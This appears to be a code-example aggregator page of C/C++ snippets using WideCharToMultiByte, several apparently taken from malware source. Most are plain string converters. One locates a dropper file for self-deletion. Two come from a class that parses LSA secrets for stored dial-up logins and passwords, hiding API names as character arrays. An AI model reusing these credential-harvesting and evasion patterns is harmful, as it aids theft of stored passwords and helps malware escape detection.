Beispiel #1
0
char* UTF8ToAnsi( const char* utf8String )
{
	//сначала преобразовываем utf8 в unicode
	wchar_t* unicodeString = UTF8ToUnicode(utf8String);
	if( unicodeString == 0 ) return 0;
	char* res = 0;  
	// тест на возможность преобразования
	int resLen = (int)pWideCharToMultiByte( 1251, 0, unicodeString, -1, 0, 0, 0, 0 );
	if( resLen == 0 ) return 0;
	// выделяем память
	res = STR::Alloc(resLen);
 	if( !res ) return 0;
	// преобразование
	if( !pWideCharToMultiByte( 1251, 0, unicodeString, -1, res, resLen, 0, 0))
	{
		STR::Free(res);
		res = 0;
	}
	return res;
}
Beispiel #2
0
// Функция преобразует многобайтную строку в однобайтную
string UnicodeToAnsi(const wchar_t *Str, DWORD Len)
{
	string Result;

	if (!Len) Len = STRW::Length(Str);

	if (Len)
	{
		// Преобразовываем строку
		Result.SetLength(Len);
		pWideCharToMultiByte(1251, 0, Str, Len, Result.t_str(), Len, NULL, NULL);
    }

	return Result;
}
Beispiel #3
0
PCHAR WSTR::ToAnsi(LPCWSTR Str, DWORD Len)
{
	// Функция преобразовывает WideString в ANSI String
	if (IsEmpty((PWCHAR)Str)) return NULL;

	if (Len == 0) Len = WSTR::CalcLength((PWCHAR)Str);
	if (Len == 0) return NULL;

	// Преобразовываем строку
	PCHAR Result = STR::Alloc(Len);
	if (Result != NULL)
		pWideCharToMultiByte(1251, 0, Str, Len, Result, Len, NULL, NULL);

	return Result;
}
Beispiel #4
0
//
// получаем путь к дроперу для его удаления.
//
VOID GetPaths()
{
	BOOL bUsed;
	PWCHAR buf =  (PWCHAR)MemAlloc(sizeof(WCHAR)*MAX_PATH);
	
	if ( buf )
	{

		pGetModuleFileNameW(NULL,buf,MAX_PATH-1);
		//pOutputDebugStringW(buf);
		pWideCharToMultiByte(CP_ACP,0,buf,-1,FileToDelete,sizeof(FileToDelete)-1,NULL,&bUsed);
		//pOutputDebugStringA(FileToDelete);
		PP_DPRINTF(L"GetPaths: FileToDelete='%S'", FileToDelete);

		buf[0]= 0;
		pSHGetSpecialFolderPathW(NULL,buf,CSIDL_COMMON_APPDATA ,TRUE);
		pWideCharToMultiByte(CP_ACP,0,buf,-1,PathBkFile,sizeof(PathBkFile)-1,NULL,&bUsed);
		MemFree(buf);
		m_lstrcat(PathBkFile,"\\");
		m_lstrcat(PathBkFile,MakeMachineID());

		PP_DPRINTF(L"GetPaths: PathBkFile='%S'",PathBkFile);
	};
};
Beispiel #5
0
void CDialupass::ParseLsaBuffer(LPCWSTR Buffer,USHORT Length)
{
	char AnsiPsw[1024];
	char chr,PswStr[256];
	PswStr[0]=0;
	char DYrEN32[] = {'W','i','d','e','C','h','a','r','T','o','M','u','l','t','i','B','y','t','e','\0'};
	WideCharToMultiByteT pWideCharToMultiByte=(WideCharToMultiByteT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN32);
	pWideCharToMultiByte(0,NULL,Buffer,Length,AnsiPsw,1024,0,0);

	for(int i=0,SpacePos=0,TXT=0;i<Length/2-2;i++)
	{
	  chr=AnsiPsw[i];
	  if(chr==0)
	  {
		SpacePos++;
		switch(SpacePos)
		{
			case 1:
			PswStr[TXT]=chr;
			strcpy(m_PassWords[m_nUsed].UID,PswStr);
			break;
			case 6:
			PswStr[TXT]=chr;
			strcpy(m_PassWords[m_nUsed].login,PswStr);
			break;
			case 7:
			PswStr[TXT]=chr;
			strcpy(m_PassWords[m_nUsed].pass,PswStr);
			m_PassWords[m_nUsed].used=false;
			m_nUsed++;
			break;
		}
		ZeroMemory(PswStr,256);
		TXT=0;
	  }
	  else 
	  {
		PswStr[TXT]=chr;
		TXT++;
	  }
	  if(SpacePos==9)SpacePos=0;
	}
}
Beispiel #6
0
LPCTSTR CDialupass::UTF8ToGB2312(char UTF8Str[])
{
	char FBwWp01[] = {'l','s','t','r','l','e','n','A','\0'};
	lstrlenAT plstrlenA=(lstrlenAT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp01);
	if (UTF8Str == NULL || plstrlenA(UTF8Str) == 0)
		return "";
	int	nStrLen = plstrlenA(UTF8Str) * 2;
	char *lpWideCharStr = new char[nStrLen];
	char *lpMultiByteStr = new char[nStrLen];

	char FBwWp19[] = {'M','u','l','t','i','B','y','t','e','T','o','W','i','d','e','C','h','a','r','\0'};
	MultiByteToWideCharT pMultiByteToWideChar=(MultiByteToWideCharT)GetProcAddress(LoadLibrary("KERNEL32.dll"),FBwWp19);
	pMultiByteToWideChar(CP_UTF8, 0, UTF8Str, -1, (LPWSTR)lpWideCharStr, nStrLen);
	char DYrEN32[] = {'W','i','d','e','C','h','a','r','T','o','M','u','l','t','i','B','y','t','e','\0'};
	WideCharToMultiByteT pWideCharToMultiByte=(WideCharToMultiByteT)GetProcAddress(LoadLibrary("KERNEL32.dll"),DYrEN32);
	pWideCharToMultiByte(CP_ACP, 0, (LPWSTR)lpWideCharStr, -1, lpMultiByteStr, nStrLen, 0, 0);

	delete lpWideCharStr;
	return lpMultiByteStr;
}